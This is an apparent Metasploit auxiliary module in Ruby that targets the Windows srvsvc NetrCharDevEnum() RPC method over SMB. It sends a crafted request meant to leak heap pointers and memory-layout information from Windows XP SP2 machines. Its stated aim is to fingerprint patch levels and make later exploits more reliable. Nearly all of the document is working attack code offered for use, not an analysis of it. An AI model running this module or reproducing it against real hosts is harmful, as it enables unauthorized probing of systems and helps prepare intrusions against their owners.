require 'msf/core' module Msf class Auxiliary::Dos::Windows::Smb::Srvsvc_NetrCharDevEnum_heap < Msf::Auxiliary include Auxiliary::Dos include Exploit::Remote::DCERPC include Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft NetrCharDevEnum() Memory Pointer Disclosure', 'Description' => %q{ This module utilises the NetrCharDevEnum() method to retrieve information on the memory status and heap pointers of the target machine. This method is available on the interface defined by 4b324fc8-1670-01d3-1278-5a47bf6ee188, v3.0. Confirmed against: Windows XP SP2 Doesn't work (0x00200000) against: Windows XP SP2 64bit Windows XP SP3 Windows Server 2003 Windows Vista It is known to be exposed through RPC over the Server Service (srvsvc). This could be used to create a context based payload key, establish the patch level/language pack, or to gain an insight into remote memory layout to increase exploit reliability. }, 'Author' => [ 'Derek Soedoer', 'Rhys Kidd' ], 'License' => 'PRIVATE AND CONFIDENTIAL (C) 2007', 'Version' => '$Revision: 1 $', 'References' => [ ], 'DisclosureDate' => 'Nov 29 2006' )) end def run connect smb_login handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle}\r\n") # # /* Function: 0x00 */ # WERROR srvsvc_NetCharDevEnum( # [in] [string,charset(UTF16)] uint16 *server_unc, # [in,out] uint32 level, # [in,out,switch_is(level)] srvsvc_NetCharDevCtr ctr, # [in] uint32 max_buffer, # [out] uint32 totalentries, # [in,out] uint32 *resume_handle # ); # # typedef union { # [case(0)] srvsvc_NetCharDevCtr0 *ctr0; # [case(1)] srvsvc_NetCharDevCtr1 *ctr1; # [default] ; # } srvsvc_NetCharDevCtr; # randnum = rand(0xf0)+1 stubdata = NDR.uwstring( Rex::Text.rand_text(20) ) + NDR.long(1) + NDR.wstring_prebuilt( Rex::Text.rand_text(2) ) + NDR.long(randnum) + # This the value we return a pointer too. NDR.long(rand(0xf0)+1) + NDR.long(rand(0xf0)+1) print_status("Calling the vulnerable function NetrCharDevEnum(), value=#{randnum} ...") begin dcerpc.call(0x00, stubdata) rescue Rex::Proto::DCERPC::Exceptions::NoResponse rescue => e if e.to_s !~ /STATUS_PIPE_DISCONNECTED/ raise e elsif print_error(e) redo end end if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) print_status( "Response received from remote target: \r\n" ) complete_response = Rex::Text.to_hex(dcerpc.last_response.stub_data, '') for i in 1..7 complete_response.insert(i*8+(i-1), ' ') end print_status( complete_response + "\r\n" ) else print_error( "Unexpected response!" ) end disconnect end end end